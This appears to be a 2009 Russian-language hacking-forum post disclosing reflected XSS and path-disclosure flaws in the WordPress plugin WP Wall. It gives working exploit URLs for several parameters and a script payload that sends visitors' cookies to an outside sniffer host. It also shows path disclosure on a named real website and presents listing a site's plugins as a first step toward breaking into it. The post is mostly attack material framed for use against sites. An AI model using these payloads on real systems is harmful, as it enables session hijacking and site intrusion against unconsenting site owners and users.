Показать сообщение отдельно

  #102  
Старый 07.03.2009, 14:02
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)

1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
Код HTML:
<p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
<p><label for="wall_title">Title: <input  name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>	
<input type="hidden" id="wall_submit" name="wall_submit" value="1" />
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>
2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
PHP код:
<?php     
    
echo $before_widget
    echo 
$before_title $wall_title$after_title;
?>
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
Код:
<script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>
3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
PHP код:
add_action("widgets_init", array('itunescharts_widget''register')); 
И уже видим раскрытие путей! К примеру:
Обратившись:
Код:
http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
видим:
Код:
Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)
 
Ответить с цитированием